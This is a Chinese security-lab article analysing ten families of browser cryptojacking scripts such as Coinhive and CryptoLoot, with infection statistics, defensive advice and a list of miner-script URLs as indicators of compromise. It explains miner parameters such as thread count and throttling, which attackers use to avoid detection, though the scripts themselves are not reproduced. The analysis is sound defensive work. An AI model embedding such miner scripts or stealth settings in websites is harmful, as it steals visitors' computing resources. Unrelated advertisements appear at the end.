2018-05-30 18:05    來源:FreeBuf.COM  作者: 千里目安全實驗室 編輯:
0購買

  0×1 概述

近期,千里目安全實驗室監測到了一大批網站系統被惡意植入了網頁挖礦木馬,只要訪問者通過瀏覽器瀏覽被惡意植入了網頁挖礦木馬站點,瀏覽器會即刻執行挖礦指令,從而淪為殭屍礦機,無償的為網頁挖礦木馬植入者提供算力,間接為其生產虛擬貨幣,這是一種資源盜用攻擊。由於網頁挖礦木馬存在很廣的傳播面和很不錯的經濟效益,因此、廣受黑產團體的追捧,讓我們對它防不勝防!

 0×2 千里百科

區塊:在區塊鏈網絡上承載交易數據的數據包。它會被標記上時間戳和之前一個區塊的獨特標記。區塊頭經過哈希運算後會生成一份工作量證明,從而驗證區塊中的交易。有效的區塊經過全網絡的共識後會被追加到主區塊鏈中。

區塊鏈:狹義來講,是一種按照時間序列將數據區塊以順序相連的方式組合成的一種鏈式數據結構,並以密碼學方式保證的不可篡改和不可偽造的分佈式賬本。

礦機:礦機是挖礦機器的簡稱,就是用於賺取数字貨幣的計算機,這類計算機一般有專業的挖礦芯片,多採用燒顯卡的方式工作,耗電量較大。個人計算機可以通過挖礦軟件來運行特定的算法產生算力(俗稱挖礦)來獲得相應数字貨幣。

礦池:由於單一礦機想挖到一個塊的幾率是非常小的,通過礦機聯合挖礦以提高几率。一個礦池的算力是很多礦機算力的集合,礦池每挖到一個塊,便會根據你礦機的算力占礦池總算力的百分比,發相應的獎勵給到個體,也不會存在不公平的情況。

挖礦:挖礦是反覆嘗試不同的隨機數對未打包交易進行哈希,直到找到一個隨機數可以符合工作證明的條件的隨機數,以構建區塊。如果一個礦工走運併產生一個有效的區塊的話,會被授予的一定數量的幣作為獎勵。

錢包:錢包指保存数字貨幣地址和私鑰的軟件,可以用它來接受、發送、儲存你的数字貨幣。

  0×3 家族樣本分析

千里目安全實驗室通過持續對全網進行安全監測,發現近期有如下十種家族的網頁挖礦木馬的傳播比較活躍。詳情分析如下所示:

  1、Coinhive家族網頁挖礦木馬介紹:

Coinhive是一個專門提供挖礦代碼的JS引擎,在被攻擊網站的網頁內嵌一段JS挖礦代碼,只要有人訪問被攻擊的網站,JS挖礦代碼就會通過瀏覽器上執行挖礦請求,佔用大量的系統資源,導致CPU資源利用率突然大幅度提升,甚至100%。在這過程中網站只是第一個受害目標,而網站的訪問者才是最終的受害目標。

1.1、Coinhive家族網頁挖礦木馬代碼,如下所示:

1.2、執行JS挖礦代碼前後的效果,如下圖所示:

1.3、通過快捷鍵(Shift+ESC)來查看瀏覽器的任務管理器,發現正是剛打開的“XMR Mining Page”網站頁面佔用了98.4%的CPU資源,正在瘋狂的挖礦。如下圖所示:

  2、JSEcoin家族網頁挖礦木馬介紹:

JSEcoin是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。但是與後者不同的是,JSECoin會將CPU使用率限制在15%至25%之間,並且始終显示隱私聲明,為用戶提供退出選項(可選擇不提供運算服務)。

2.1、JSEcoin家族網頁挖礦腳本代碼,如下所示:

2.2、通過對JSEcoin挖礦代碼進行調試,發現執行完挖礦代碼後會持續接收到需要運算的任務,如下圖所示:

2.3、通過進一步跟蹤運算過程,發現其通過WSS協議來獲取區塊的計算任務,然後將結果進行回傳效驗,校驗通過的會显示OK標記。如下圖所示:

  3、CryptoLoot家族網頁挖礦木馬介紹:

CryptoLoot是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。不過CryptoLoot平台的傭金比Coinhive平台的傭金低很多,這可以大大降低以挖礦為盈利目標的黑色產業鏈成本。

3.1、CryptoLoot網頁挖礦腳本代碼,如下所示:

3.2、CryptoLoot網頁挖礦腳本代碼參數介紹,如下所示:

miner.min.js:為JS挖礦腳本。

85e693dfe57edbdf8f53640b4c0b0d257513a504c503:為SiteKey,可以理解為JS挖礦引擎識別站點的唯一標識。

threads(value):指挖礦運算所啟用的線程數量。這裏的值為3,即表示啟用3個線程進行挖礦運算。

autoThreads(value):這裏的Value可以設置為true和false,當設置為true時,表示自動檢測用戶計算機上可用的CPU內核數量。

throttle(value):這裏的value是設置線程閑置時間比例的。如果值為0,即表示不進行節流(即進行CPU滿載運算)。這裏的值為0.2即表示將在20%的時間內保持空閑狀態。

 4、DeepMiner家族網頁挖礦木馬介紹:

DeepMiner是一個開源的JS挖礦項目,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

4.1、DeepMiner網頁挖礦腳本代碼,如下所示:

4.2、DeepMiner網頁挖礦腳本同源分析:

DeepMiner是一個已經被開源了的項目,通過分析,發現上面的挖礦腳本代碼為此開源項目修改而來(開源項目地址為:https://github.com/deepwn/deepMiner)。

 5、Webmine家族網頁挖礦木馬介紹:

Webmine也是一個與Coinhive類似的JS挖礦引擎,在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

5.1、Webmine網頁挖礦腳本代碼,如下所示:

5.2、訪問JS挖礦站點時,發現CPU使用率劇增,隨後退出對JS挖礦站點的訪問,發現CPU的使用率一下子就降下來了。如下圖所示:

6、AuthedMine家族網頁挖礦木馬介紹:

AuthedMine也是一個與Coinhive類似的JS挖礦引擎,在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

  6.1、AuthedMine網頁挖礦腳本代碼,如下所示:

6.2、 AuthedMine網頁挖礦腳本與之前的幾種相比有比較大的改進,大致如下3點:

設置了線程閑置時間比例,這樣不容易被礦機受害者發現和察覺。

設置了挖礦設備類型,只對非移動設備進行挖礦運算,防止手持終端設備被卡死。

設置了挖礦運算時間,只挖礦4小時,避免長時間CPU過高而遭暴露。

  7、BrowserMine家族網頁挖礦木馬介紹:

BrowserMine是一個與DeepMiner類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

7.1、BrowserMine網頁挖礦腳本代碼,如下所示:

7.2、 執行JS挖礦代碼前後的效果,如下圖所示:

  8、Coinimp家族網頁挖礦木馬介紹:

Coinimp是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。稍有不同的是Coinimp的平台費用基本免費,而且JS挖礦腳本可以重置為任意名字存放在本地,偽裝性更高。

8.1、Coinimp網頁挖礦腳本代碼,如下所示:

8.2、Coinimp網頁挖礦腳本代碼與之前的幾個有一個明顯的區別就是SiteKey值變成了64位,同時,JS挖礦代碼可以保存到本地存儲了,訪問參數與JS腳本名稱可以自行定義。

  9、CryptoWebMiner家族網頁挖礦木馬介紹:

CryptoWebMiner是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。不過CryptoWebMiner平台的傭金比Coinhive平台的傭金低很多,這可以大大降低以挖礦為盈利目標的黑色產業鏈成本。

9.1、CryptoWebMiner網頁挖礦腳本代碼,如下所示:

9.2、CryptoWebMiner網頁挖礦腳本代碼結構與Coinhive很類似,但支持的幣種比較多,主要有BTC、ETH、ZEC、ETN、XMR。另外,它支持的平台也很多,分別為手機端挖礦、PC端挖礦、WEB端挖礦,可見傳播面很廣。

  10、PPoi家族網頁挖礦木馬介紹:

PPoi是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

10.1、PPoi網頁挖礦腳本代碼,如下所示:

10.2、通過訪問PPoi平台官方地址,發現已經被Google GSB加入黑名單了。如下所示:

0×4 趨勢分析與統計

1、我們通過對分析過的網頁挖礦木馬代碼特徵,使用FOFA對全球所有在線Web應用系統進行統計,發現有60742892個Web應用被惡意掛載了網頁挖礦木馬。如下為全球TOP10地域的網頁挖礦木馬感染量和分佈情況。詳情如下所示:

統計數據來自於FOFA平台

2、進一步通過這些網頁挖礦木馬的代碼特徵來對中國境內所有在線Web應用系統進行分析和統計,發現有4557546個Web應用被惡意掛載了網頁挖礦木馬。如下為中國境內TOP N地域的網頁挖礦木馬感染量和分佈情況。詳情如下所示:

統計數據來自於FOFA平台

0×5 安全建議

ü 定期對服務器中的數據做備份,看到類似以上10種形態的可疑腳本代碼,需提高警惕(這很可能意味着我們的站點和服務被入侵了 ),找專業的安全人員來做分析和處理。

ü 如在服務器中發現存在可疑的後門或惡意代碼,需做全局的排查和清理,然後再做安全加固工作。

ü 定期主動對服務器及服務器中的應用進行安全評估,及時發現潛在的風險,並及時處置和修復。

0×6 IOCs

C2:

https://coinhive.com

https://coin-hive.com

https://webmine.cz

https://webmine.pro

https://munero.me

https://load.jsecoin.com

https://browsermine.com

https://authedmine.com

https://crypto-loot.com

https://cryptaloot.pro

https://ppoi.org

URL:

https://coinhive.com/lib/coinhive.min.js

https://coin-hive.com/lib/coinhive.min.js

https://crypto-loot.com/lib/miner.min.js

https://cryptaloot.pro/lib/miner.min.js

https://authedmine.com/lib/authedmine.min.js

https://ppoi.org/lib/projectpoi.min.js

網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步”網站設計“幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包”嚨底家”

黑客是如何利用你的瀏覽器進行挖礦的?